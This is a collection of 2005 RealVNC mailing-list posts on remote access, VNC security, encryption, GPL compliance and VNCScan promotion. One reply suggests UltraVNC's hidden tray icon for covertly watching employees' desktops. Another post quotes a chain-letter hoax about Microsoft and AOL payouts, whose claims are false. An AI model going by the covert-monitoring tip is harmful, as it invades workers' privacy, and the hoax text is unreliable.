That's odd. I use Comcast at home and I have no problem connecting to my home computer from work. That would eliminate the huge number of people that use broadband to host games and such. I don't think that they will ever close all of the ports on incoming connections. Maybe it was a regional decision? - Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Scott C. Best Sent: Wednesday, July 20, 2005 12:32 PM To: vnc-list@realvnc.com Cc: [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: Re: unable to connect to host: Connection timed out (10060) Boi1der: Sorry to hear that Comcast has gotten so stringent. It's about as bad -- and perhaps as necessary -- as WinXP-SP2 changing the default on the builtin Windows firewall from disabled to enabled. As John indicated though, as long as Comcast is still allowing you unfettered *outbound* connections, EchoVNC will still allow you to access to RealVNC servers. You'll have to utilize an echoServer that's not restricted by Comcast, of course, such as the free demo one we're running. EchoServers are also easy enough to get setup on really inexpensive hosted servers such as Linode. cheers, Scott > I can see it from their point of view, but > unfortunately, it interferes with our freedom of > remote access! :-) > > --- John Aldrich <[EMAIL PROTECTED]> wrote: > >> You might be able to use EchoVNC which might allow >> you to bypass Comcast's >> filters. Look at it from their perspective... up >> until recently a lot of >> their clients' PCs had become zombie spam servers. >> Now they are cracking >> down on running ANY kind of server to help keep YOUR >> PC safe! >> John >> >> -Original Message- >> From: boi1der [mailto:[EMAIL PROTECTED] >> Sent: Tuesday, July 19, 2005 11:39 AM >> To: vnc-list@realvnc.com >> Subject: unable to connect to host: Connection timed >> out (10060) >> >> >> I'm a newbie to the list, but I just found out that >> since I'm using Comcast as my ISP, without a static >> IP >> address, Comcast won't allow any FTP, Ping, or any >> type of traffic to the IP address of my firewall. So I >> can't even open a port to allow the traffic through to >> the VNC server. So unless you want to buy a fixed IP >> address from Comcast, you can't run the software. ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: hello
Rodrigo, There are probably better ways of regulating and monitoring Internet usage than using VNC to spy on the desktop but it is possible to do so. UltraVNC (http://www.ultravnc.com) is one of the distributions of VNC that allows you to disable the task tray icon. - Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Andy Bruce - softwareAB Sent: Thursday, July 07, 2005 4:48 PM To: Rodrigo Brito Cc: vnc-list@realvnc.com Subject: Re: hello To my knowledge this is asked quite often. I believe that that VNC is not "spyware" in this sense of the word. You would have to write custom software on each PC that would look for incoming VNC connections and artificially color the icon to "not in use". With the right approach on NT, one could have a service that checked the desktop (worksta\0) and prevented any direct indication that VNC was up. *HOWEVER*, that wouldn't solve your problem. Once a remote user connects to a VNC server, the response time is cut noticeably on the client side. Your users would quickly discover that when the system became unexpectedly sluggish--you were spying on them. You would be much better served by: 1. Writing or finding a small NT service that spies on the open applications and logs them periodically. 2. Keeping up with your user's Web surfing and logs it. 3. Locking the target computers so that certain applications are disallowed. Also, installing any one of a number of site filters that keep your folks from going where they shouldn't. VNC is a great answer for remote administration. VNC is a terrible idea for spying on what folks are doing if your goal is for the folks *not* to know that you are there. Andy Rodrigo Brito wrote: > I`m using a VNC 3.3.7 in my company, When I access another > computer The Vnc Icon change the color for black and the people know > tha i`m connected and they stop what they are making We are passing > for problems because the people are making use of the InterNet badly > and I need to know what these people are having access. > > Thanks > Rodrigo Brito > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: connecting to networked computers behind xp firwall (no router)
You will probably have good luck with the UltraVNC repeater, also. Coupled with the UltraVNC encryption DSM plugin, it's a very secure way to use one IP address as a proxy for many internal VNC servers. UltraVNC Repeater - http://doc.uvnc.com/addons/repeater.html Easy UltraVNC deployment with Encryption and Repeater support: http://www.vncscan.com - Steve -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Scott C. Best Sent: Wednesday, June 29, 2005 5:07 PM To: vnc-list@realvnc.com Cc: [EMAIL PROTECTED] Subject: Re: connecting to networked computers behind xp firwall (no router) Mike: Heya. Getting port-forwarding working with Windows' ICS is notoriously difficult. The best reference for it I've found is here: http://www.homenethelp.com/ics/ics-install-netxp.asp Instead of ICS, and despite your caps lock key, I would recommend you consider purchasing a low-end NAT'ing router, such as something from LinkSys or D-Link. You can find them on EBay for about $25, and they're easier to work with (and get support for) than ICS. Alternatively (and please forgive the self-promotion), you can skip port-forwarding altogether by running an echoServer on your WinXP machine. The idea is that you run the echoServer on your "living room computer", and then simply login to it using EchoVNC on both ends of the VNC connection. You can then establish VNC connections using that PC as a smart "relay", with no further firewall/router adjustments needed. When you make a VNC connection using EchoVNC, you can use the echoServer "login names" as identifiers, so you don't need to know the VNC Server's IP address either. And similar to SSH, if you have the OpenSSL toolkit installed, the data-content of the VNC connection is end-to-end encrypted with 128-bit AES. More info here: "http://www.echovnc.com";. Hope it helps! -Scott > i have a set up like this at home . . . cable modem, living room > computer (shares internet connection) then 3 networked computers. All > are running XP home w/ SP2. I want to be able to connect to each > computer while i go away to college and be able to help my family fix > problems.but, i'm having trouble setting up the living room > computer to properly direct requests on ports to the other computers. > I AM NOT INTERESTED IN PURCHASING A ROUTER!! if someone could give me > a quick step by step or a website on how to tell the SP2 firewall to > send my requests to certain computers, that would be great!!I kept > trying to search the realvnc lists for this topic, but could never > find what i was looking for, if it is a repeat, i'm sorry, and please > direct me to the answer i'm looking for. > > thanksmike ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: VNC Security
A while back, we had a pretty long running and informative thread on VNC security. The only VNC that had real encryption built in was the Enterprise version of RealVNC. UltraVNC had a DSM plug-in but it was pretty nasty to get working and was suffering from compatibility problems. On top of that, it was very difficult to deploy the UltraVNC encryption remotely. I believe that the solution to this on the Windows side is in the new version of VNCScan at http://www.vncscan.com. While I believe that this version of VNC Scan makes UltraVNC encryption very easy to deploy and use, I'd like to fire up this debate again to see if the ease of encryption changes anyone's view on the security of VNC. I would also like to know if there are any security concerns with the UltraVNC DSM plug-in. Is the encryption with this method considered as secure to you as, say, running VNC through an SSH tunnel? Just for the record, I don't want to take any credit for the UltraVNC encryption. The people working on the open source UltraVNC are awesome and they deserve a huge pat on the back for this plug-in. The contribution that is made with VNC Scan is to make the plug-in very easy to deploy and use. :) The scenario that I'd like to see people test against would be a Windows XP or Windows 2000 computer running UltraVNC 1.0.0 server using MS Windows authentication for VNC and employing the UltraVNC encryption. If you choose to use VNC Scan to deploy this, these are simply check boxes in the deployment wizard. I am very interested in hearing if any security concerns are still out there despite this new encryption scheme. Thank you! Steve Bostedor http://www.vncscan.com The Leader in VNC and Terminal Server Management ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
VNCScan 2005.6.16 Exciting Features
Hello, I haven't posted new VNCScan releases to the list as much as in the past but this one is so exciting that I couldn't help myself. ;) The most exciting thing about this release is that you can now *remotely* reboot a Windows computer into safe mode (with networking) and then access it using VNC. It took a lot of research and work to get it so that the VNC service would automatically start in a safe mode boot but it seems to be pretty solid for Windows 2000 and above. I looked quite a bit and I couldn't find another program that does anything like this. You can read about this feature at http://www.vncscan.com/vs/VNC_in_SafeMode.htm The other real exciting thing about this release is that you can remotely enable the Windows Terminal Server and XP remote desktop as long as the firewall isn't blocking you and you have Admin privileges. You can read about this at http://www.vncscan.com/vs/Enabling_Remote_Desktop.htm VNCScan costs $40 (US) for a single Administrator to manage unlimited nodes. VNCScan has been around for about 5 years and was the first front end for VNC. It remains the leader today thanks to all of the support and suggestions from thousands of customers all over the globe. I invite you to give it a try by download a 30 day trial at http://www.vncscan.com Thank you, Steve Bostedor ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Mass control
Are you talking about something like http://www.vncscan.com? > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Richard J. Mayer > Sent: Friday, June 03, 2005 12:10 PM > To: vnc-list@realvnc.com > Subject: Mass control > > Hi, > > Does anyone know of a tool that utilises RealVNC to control > multiple computers from one terminal (e.g. to do an > installation of a piece of software). Naturally, all of the > machines I'd like to do this on are identical on the desktop. > > Any thoughts or suggestions welcome. > > Richard > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RSA key in Enterprise Version
Is there a command line way to generate a new RSA key for the enterprise version of VNC server? Thanks! Steve Bostedor http://www.vncscan.com ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: src.rpm/specfile, GPL violation
According to his interpretation of the GPL, RealVNC should have included a fully configured C++ compiler, too! This is getting rediculous. Over the last few months, this list has turned more into a GPL compliance discussion list for various reasons than dealing with VNC troubleshooting and development. The owners of the VNC license released their awesome software to the world for FREE with SOURCE CODE and chose a licensing scheme that protects their code from being stolen by other programmers and resold under another licensing scheme. This translates to charity, folks. This was done in good will by people that didn't have to do this. I've been a VNC user since the first version was released and I've never had a problem getting the source code, modifying it, recompiling it, etc. This is just crazy, Rex. There are others out there REALLY violating the GPL with RealVNC code. If you want to be a watchdog, go after them. Steve Bostedor http://www.vncscan.com > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Rex Dieter > Sent: Monday, May 16, 2005 12:59 PM > To: vnc-list@realvnc.com > Subject: RE: src.rpm/specfile, GPL violation > > James Weatherall wrote: > > > The source code we supply is exactly the code used to create the > > binaries contained in the downloadable RPM. > > Except for the specfile used to actually generate the > downloadable RPM, of course. > > Why are you so resistant to releasing the specfile? > > -- Rex > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: src.rpm/specfile, GPL violation
> -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Rex Dieter > Sent: Monday, May 16, 2005 11:27 AM > To: vnc-list@realvnc.com > Subject: RE: src.rpm/specfile, GPL violation > > Steve Bostedor wrote: > > > The format that the source is to be delivered in is not > covered by the > > GPL. > > Yes it does: > > "The source code for a work means the preferred form of the > work for making modifications to it. For an executable work, > complete source code means all the source code for all > modules it contains, plus any associated interface definition > files, plus the scripts used to control compilation and > installation of the executable."... > ___ It does not specify the format of the distribution, though. By simply creating a piece of software and making an RPM to install it doesn't make it GPL. It can be ZIP, TAR, or anything that the author wishes. Nothing was left out of the source code. I've compiled it myself many times. You have no grounds for these accusations. - Steve ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: src.rpm/specfile, GPL violation
Rex, The format that the source is to be delivered in is not covered by the GPL. They do supply the source to VNC and anyone can get it at any time. It's a very simple download. Just because it's not packaged in the archive format that you prefer doesn't meant that it's not easily available to you. Here's a link in case you can't find it: http://www.realvnc.com/cgi-bin/download.cgi Steve Bostedor http://www.vncscan.com > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Rex Dieter > Sent: Monday, May 16, 2005 10:17 AM > To: vnc-list@realvnc.com > Subject: src.rpm/specfile, GPL violation > > I've been patiently waiting for a response from RealVNC > regarding the (un)availability of an rpm specfile and/or > src.rpm for linux, since my > originally post here on April 29. I only wanted to see how it was > built, as I've issues with a home-brewed rpm version of > mine(1) which are apparently not present in RealVNC's binary rpm(2). > > RealVNC is violating the GPL (unknowningly or not) by failing > to provide the (preferred) source to the binary they distribute. > > -- Rex > > > (1) When built against XFree86-4.3, it fails to build the > vnc.so X loadable module. When built against xorg-x11-6.8.1, > the vnc.so loadable module builds, but crashes X when logging > in as non-root. > > (2) Unfortunately, RealVNC's binary rpm cannot be installed on my > xorg-x11-6.8.1 system due to it's linkage against a very old > libstdc++.so ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: src.rpm/specfile, GPL violation
You are correct, Kyle. They are the authors and the GPL license is in place to protect them and not us. The GPL isn't in place to give us the right to their code but rather to protect their rights while graciously giving us their code. Let's not be greedy, ok? They've worked hard and released a great tool for free and even given out the source code. Attacking them because they didn't do it the way that you wanted them to as if you're a paying customer is just not right. > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Kyle McDonald > Sent: Monday, May 16, 2005 10:53 AM > To: Rex Dieter > Cc: vnc-list@realvnc.com > Subject: Re: src.rpm/specfile, GPL violation > > Rex Dieter wrote: > > > > > RealVNC is violating the GPL (unknowningly or not) by failing to > > provide the (preferred) source to the binary they distribute. > > > Given other conversations on here about GPL issues, I'd be > surprised if there was really anything underhanded going on here. > > On top of that, it's trechnically impossible for Real-VNC to > violate the GPL. They are the original Copyright holders of > the work. They can license and distribute only the files they > want to under the GPL. If you don't get the file from them > under the GPL then that file is not licensed under the GPL. > > If they were modifying someone else's GPL work and the > *re*distributing it, without a file the original author had > included, then there'd be something fishy. But they are the > original author of VNC (at least as I understand it.) > > -Kyle > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Gates Nightmare?
This stuff is hillarious. I can't believe that it's still being passed on. Even more so, why is it being posted to this list? It obviously has nothing to do with VNC. > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Ward, Stuart > Sent: Friday, April 29, 2005 8:32 AM > To: 'Joseph Thames' > Cc: vnc-list@realvnc.com > Subject: RE: Gates Nightmare? > > > oh, please ...utter nonsense > > -Original Message- > From: Joseph Thames [mailto:[EMAIL PROTECTED] > Sent: Friday, April 29, 2005 7:42 AM > To: [EMAIL PROTECTED]; [EMAIL PROTECTED]; > [EMAIL PROTECTED]; [EMAIL PROTECTED]; > [EMAIL PROTECTED]; [EMAIL PROTECTED]; > vnc-list@realvnc.com > Subject: Gates Nightmare? > > > Why not, anything for good ole Bill. > > Original Message > Subject: Forward from Mary's Brother Patrick > Date: Fri, 29 Apr 2005 06:08:02 -0400 > From: [EMAIL PROTECTED] > To: [EMAIL PROTECTED] > > > > This was on the 9:00 o'clock news the other night so I'm > assuming it works > > THIS TOOK TWO PAGES OF THE TUESDAY USA TODAY - IT IS FOR REAL > > This thing is for real. Rest assured AOL and Intel will > follow through with their promises for fear of facing a > multimillion-dollar class action suit similar to the ! one > filed by PepsiCo against General Electric not too long ago. > > Dear Friends; Please do not take this for a junk letter. Bill > Gates sharing his fortune. If you ignore this, You will > repent later. Microsoft and AOL are now the largest Internet > companies and in an effort to make sure that Internet > Explorer remains the most widely used program, Microsoft and > AOL are running an e-mail beta test. > > When you forward this e-mail to friends, Microsoft can and > will track it ( If you are a Microsoft Windows user) For a > two weeks time period. > > For every person that you forward this e-mail to, Microsoft > will pay you $245.00 For every person that you sent it to > that forwards it on, Microsoft will pay you $243.00 and for > every third person that receives it, You will be paid > $241.00. Within two weeks, Microsoft will contact you for > your address and then send you a check. > > Regards. Charles S Bailey General Manager Field Operations > 1-800-842-2332 Ext. 1085 or 904-1085 or RNX > 292-1085 [EMAIL PROTECTED] [EMAIL PROTECTED] > > > > I thought this was a scam myself, But two weeks after > receiving this e-mail and forwarding it on. Microsoft > contacted me for my address and withindays, I receive a check > for $24,800.00. You need to respond before the beta testing > is over. If anyone can afford this, Bill gates is the man. > > It's all marketing expense to him. Please forward this to as > many people as possible. You are bound to get at least > $10,000.00. We're not going to help them out with their > e-mail beta test without getting a little something for our > time. My brother's girlfriend got in on this a few months > ago. When i went to visit him for the Baylor/UT game. She > showed me her check. It was for the sum of $4,324.44 and was > stamped "Paid in full" > > Like i said before, I know the law, and this is for real. > > Intel and AOL are now discussing a merger which would make > them the largest Internet company and in an effort make sure > that AOL remains the most widely used program, Intel and AOL > are running an e-mail beta test. > > When you forward this e-mail to friends, Intel can and will > track it( if you are a Microsoft Windows user)for a two week > time period. > > TRy it; What have you got to lose > > > __ > Switch to Netscape Internet Service. > As low as $9.95 a month -- Sign up today at > http://isp.netscape.com/register > > Netscape. Just the Net You > Need. > > New! Netscape Toolbar for Internet Explorer > Search from anywhere on the Web and block those annoying > pop-ups. Download now at > http://channels.netscape.com/ns/search/install> .jsp > > > -- > > Joseph 'Bear' Thames > Meta Software Engineering > > Tel: (408) 873-0658 > [EMAIL PROTECTED] ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-> list > > > > Confidentiality Notice: The information contained in > this e-mail and any attachments may be legally privileged and > confidential. If you are not an intended recipient, you are > hereby notified that any dissemination, distribution or > copying of this e-mail is strictly prohibited. If you have > received this e-mail in error, please notify the sender and > permanently delete the e-mail and any attachments > immediately. You should not retain, copy or use this e-mail > or any attachment for any purpose, nor disclose all or any > part of the contents to any other person. > ___
RE: Installing VNC unattended
There are various remote VNC installations programs out there. VNCScan is an excellent choice. ;) http://www.vncscan.com > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Jesper Christiansen > Sent: Thursday, April 21, 2005 10:02 AM > To: vnc-list@realvnc.com > Subject: Installing VNC unattended > > > Is it posibly to install VNC unattended ? > > if yes - how ? > > jesper > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-> list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: VNC Security
No, there is no built in encryption for the free VNC builds. UltraVNC attempts to use a DSM plug-in but it doesn't always work right. Lazy? Like not reading the response to Alexander? ;) You seem to be still operating under the same assumptions. > -Original Message- > From: Joshua Berry [mailto:[EMAIL PROTECTED] > Sent: Wednesday, April 20, 2005 9:41 AM > To: Steve Bostedor; Andy Bruce - softwareAB > Cc: security-basics@securityfocus.com; vnc-list@realvnc.com > Subject: RE: VNC Security > > > Just because some people and applications perform things > insecurely does not mean that you should or have to do so. > VNC allows full GUI access to a box, FTP, POP3, IMAP, etc do > not. And yes, I do not use FTP, I use SSH SFTP because it is > secure. I would hope that people on a security mailing list > attempt to do things more securely. > > This sounds like an issue of laziness, someone that doesn't > want to take the extra step to ensure their (or customers) > security. Where I work this would be a huge problem because > of different regulations requiring data encryption. Besides, > I believe that VNC has support for encryption now and if so > there is definitely no reason to not utilize that support. > > -Original Message- > From: Steve Bostedor [mailto:[EMAIL PROTECTED] > Sent: Tuesday, April 19, 2005 8:03 PM > To: Joshua Berry; Andy Bruce - softwareAB > Cc: security-basics@securityfocus.com; vnc-list@realvnc.com > Subject: RE: VNC Security > > Joshua, Please see my reply to Alexander. It addresses some > of what you said here. I disagree that VNC should be avoided > completely, though. It's not THAT insecure! I will go out on > a limb and say that about 90% of the pop3 users in the world > use plain text passwords. Encrypted passwords aren't really > that common and most ISP's don't require that home users > encrypt their passwords. > > Do you use FTP? Maybe you tripple encrypt your FTP data or > just avoid FTP completely just like VNC, but I'll go out on a > limb again and guess that at least 95% of FTP users in the > world send the username and password in plain text and > unencrypted. I'll also guess that at least 30% of them use > the same username and password for their FTP account as they > do for numerous other functions. Maybe even their encrypted > Pop3 account. ;) > > The reply to Alexander explains my question further. > > > -Original Message- > From: Joshua Berry [mailto:[EMAIL PROTECTED] > Sent: Tuesday, April 19, 2005 6:43 PM > To: Andy Bruce - softwareAB; Steve Bostedor > Cc: security-basics@securityfocus.com; vnc-list@realvnc.com > Subject: RE: VNC Security > > > To the original poster: > > It is my *opinion* that using VNC should be avoided > completely. The last time that I used VNC it only support a > password, and no user name. This leaves only the password to > brute-force, considerably lessening the time needed to break > in. Also, you are making the assumption that everyone uses > plain text POP, I only use POP over SSL, IMAP over SSL or > HTTPS to access my email. Also, this is not a good example > because POP user accounts/passwords only give you someone's > email, a VNC password will give you full access to the > server/desktop it is running on. > > The passwords can be sniffed on your local network or they > can be sniffed on the network that the server/desktop you are > connecting to resides on. If this is a critical box, then > now anyone that can sniff the network can also gain a login > to this box to do whatever they want. > > I believe that VNC includes SSL or some other decent means of > encryption now. > > To the first follow up poster: > a. Somebody just needs to get the password in that 20 minute > interchange, which is not too hard if they are only sniffing > for X sessions. They can just dump that to a file and leave > it running until it picks something up. Also, you can setup > something to probe the box on that port, so the next time VNC > is enabled they can login. I am curious how you would notice > someone sniffing the network? I only see this as being > possible if the host was running linux/unix and forwarding > their syslogs to you, so that you could see when a NIC > entered promiscuous mode. > > Lastly: > I have seen several VNC exploits available over the years, so > this is just a whole new service that you are exposing to > risk that you often don't need to (because if it is Linux you > have SSH, and if it is a windows box you have Terminal Services) > > > -Original Message- > From: A
Feature Suggestion
This is just an idea for those of you that work on creating the new builds of VNC. It would be very helpful if there was a command line parm on the server that would allow a quick change of the VNC password. For example: winvnc -newpass mynewpassword -oldpass myoldpassword It should require the old password be given to authenticate the request, of course. This would make scriptable password changes much more manageable. An admin could simply put that line in a login script and change the VNC password on all of the servers in his domain very easily. I know that there are other ways to do this via login script but this seems to be the most logical way. It would be even nicer to be able to change the password from the vncviewer. ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: VNC Security
I am wondering why expose VNC over the internet in the first place, really. It's my opinion that VNC is really only good for LAN's. Why not use VPN to secure your connection to the remote network before starting VNC sessions? It's much easier to set up on a LAN where you need VNC access to 200 computers than setting up SSH over the Internet! I can concede that VNC data should be encrypted in some way when traveling the Internet but why do people set up VNC over SSH on local networks? That really makes very little sense to me. If your network is so insecure that you're worried about your VNC traffic being hacked, you've got some pretty big problems! I connect to a network via VPN and others I connect using encrypted RDP sessions. Once I've made those connections, I can safely use VNC on the remote networks. Why waste all of this time with SSH on Windows computers all over the network when VPN and RDP is so easy to set up? Yea, William did have a better search phrase than I did. That utility does have limitations and flaws, though. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Behalf Of Sean Kamath Sent: Tuesday, April 19, 2005 4:45 PM To: William Hooper Cc: vnc-list@realvnc.com Subject: Re: VNC Security [In a message on Tue, 19 Apr 2005 10:53:09 EDT, "William Hooper" wrote:] >Steve Bostedor wrote: >[snip] >> I've scoured the web out of this curiosity, looking for a tool to >> put VNC packets together into something useful for a hacker. There's >> nothing. Nada. > >Fifth hit on Google for: vnc capture playback > >http://users.tpg.com.au/bdgcvb/chaosreader.html Google is your friend. Of course, knowing the right phrase or keywords makes it nice. ;-) That's a very interesting tool, which should put the fear of the Internet in everyone. . . Another reason for tunneling VNC over SSH is this: My firewall only exposes a select few protocols to the outside world. If it weren't for the fact I have to support other people, I'd likely ONLY have SSH exposed to the world. Instead I have to have POP/IMAP, SMTP, etc. . . The fewer things you expose to the outside Big Bad World, the better. Sean ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: VNC Security
Your plan is pretty typical and is pretty much what I advise to my clients. Keep it off when it's not being used and change the password often. On secured local LANS, it's ok to leave it running 24/7 as long as the remote server has the desktop locked or logged off. This is the REalVNC, though. I'm not sure the UltraVNC file transfer function is still functional if the workstation is locked. I'll have to try that and see. If it is still functional, I'd suggest not usng that on any server that you want to leave VNC running 24/7 on at all. -Original Message- From: Bart Crijns [mailto:[EMAIL PROTECTED] Sent: Tuesday, April 19, 2005 5:15 PM To: Andy Bruce - softwareAB Cc: Steve Bostedor; security-basics@securityfocus.com; vnc-list@realvnc.com Subject: Re: VNC Security Andy Bruce - softwareAB wrote: > 5. Tell them to turn off port forwarding from the router (if they > could grok it), or just have them connect their PC back to the router > and their router back to the cable/dsl modem. In either case, 5900 > isn't available to the outside world so there's no risk even if they > were running VNC in service-mode. Another (very easy) way to make these connections more secure with those users is the following: I'm using UltraVNC, so I'm not certain that everything is possible in other VNC variants. - set a very long and very difficult password for the server (it will never be used anyway in this approach) - disable the 'accept socket connections' checkbox in the server properties (may be UltraVNC only) - when the users need assistance let them start the server, and instead of connecting to their PC, you start the viewer in listen mode - tell them your IP, and have them add a client throug the system tray icon's menu, and have them enter your IP when requested. You'll need to have your router setup for port forwarding to the ports for the listening viewer... That way noone needs to know their password, and with UltraVNC the server isn't even accepting connections in the unlikely event that the password is known by someone. No password is transmitted, and the only thing that could be captured is the data sent during the VNC session, which isn't too much of a problem in most cases when helping someone out. Furthermore, no incoming ports need to be opened on their router, because most users aren't really capable of changing that themselves. Of course, when connecting to my own PC via VNC, I use a SSH tunnel. > Am I missing something here? Other than the fact that in the unlikely event of someone malignant actually taking over their PC, you'll be the one who's blamed... no :-) I think the method I described is a bit safer, and also very easy to explain to the person at the other end of the line. If I may have missed something in my plan, please correct me. Kind Regards, Bart Crijns ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: VNC Security
Joshua, Please see my reply to Alexander. It addresses some of what you said here. I disagree that VNC should be avoided completely, though. It's not THAT insecure! I will go out on a limb and say that about 90% of the pop3 users in the world use plain text passwords. Encrypted passwords aren't really that common and most ISP's don't require that home users encrypt their passwords. Do you use FTP? Maybe you tripple encrypt your FTP data or just avoid FTP completely just like VNC, but I'll go out on a limb again and guess that at least 95% of FTP users in the world send the username and password in plain text and unencrypted. I'll also guess that at least 30% of them use the same username and password for their FTP account as they do for numerous other functions. Maybe even their encrypted Pop3 account. ;) The reply to Alexander explains my question further. -Original Message- From: Joshua Berry [mailto:[EMAIL PROTECTED] Sent: Tuesday, April 19, 2005 6:43 PM To: Andy Bruce - softwareAB; Steve Bostedor Cc: security-basics@securityfocus.com; vnc-list@realvnc.com Subject: RE: VNC Security To the original poster: It is my *opinion* that using VNC should be avoided completely. The last time that I used VNC it only support a password, and no user name. This leaves only the password to brute-force, considerably lessening the time needed to break in. Also, you are making the assumption that everyone uses plain text POP, I only use POP over SSL, IMAP over SSL or HTTPS to access my email. Also, this is not a good example because POP user accounts/passwords only give you someone's email, a VNC password will give you full access to the server/desktop it is running on. The passwords can be sniffed on your local network or they can be sniffed on the network that the server/desktop you are connecting to resides on. If this is a critical box, then now anyone that can sniff the network can also gain a login to this box to do whatever they want. I believe that VNC includes SSL or some other decent means of encryption now. To the first follow up poster: a. Somebody just needs to get the password in that 20 minute interchange, which is not too hard if they are only sniffing for X sessions. They can just dump that to a file and leave it running until it picks something up. Also, you can setup something to probe the box on that port, so the next time VNC is enabled they can login. I am curious how you would notice someone sniffing the network? I only see this as being possible if the host was running linux/unix and forwarding their syslogs to you, so that you could see when a NIC entered promiscuous mode. Lastly: I have seen several VNC exploits available over the years, so this is just a whole new service that you are exposing to risk that you often don't need to (because if it is Linux you have SSH, and if it is a windows box you have Terminal Services) -Original Message- From: Andy Bruce - softwareAB [mailto:[EMAIL PROTECTED] Sent: Tuesday, April 19, 2005 7:55 AM To: Steve Bostedor Cc: security-basics@securityfocus.com; vnc-list@realvnc.com Subject: Re: VNC Security This is a very interesting question to me. In my own case, I do have SSH setup thru Cygwin (http://www.cygwin.com/) for my local network and I use VNC thru that connection when I need to manage my own stuff remotely. However, I have to admit that when I use VNC to aid remote clients (which happens quite frequently) I don't worry about encryption whatsoever. FWIW, here's my approach: 1. I don't even try to explain setting up an SSH daemon to them. I simply have them install the VNC server in user-mode and start it. 2. If I can't explain to them in 5 min or less how to do port forwarding, I just have them connect directly to their cable/dsl modem. 3. Get the debugging and/or support done. 4. Have them stop the VNC server. Since it isn't running as a service, it won't start up next time and so won't be a security risk. 5. Tell them to turn off port forwarding from the router (if they could grok it), or just have them connect their PC back to the router and their router back to the cable/dsl modem. In either case, 5900 isn't available to the outside world so there's no risk even if they were running VNC in service-mode. I have to agree with Steve that this is, for all practical purposes, a non-existent security risk. The only things that could go wrong: a. "Somebody" is sniffing the packet stream while the VNC passwords are being exchanged, and, during that 20 minute interchange, cracks the password and logs onto the VNC server. Of course, we would notice this problem on both ends! b. I have never captured the data shared between client and server (screen/UI deltas) and so have no idea if these pose a security risk or not. c. While the VNC server is running and they are connected to the
RE: VNC Security
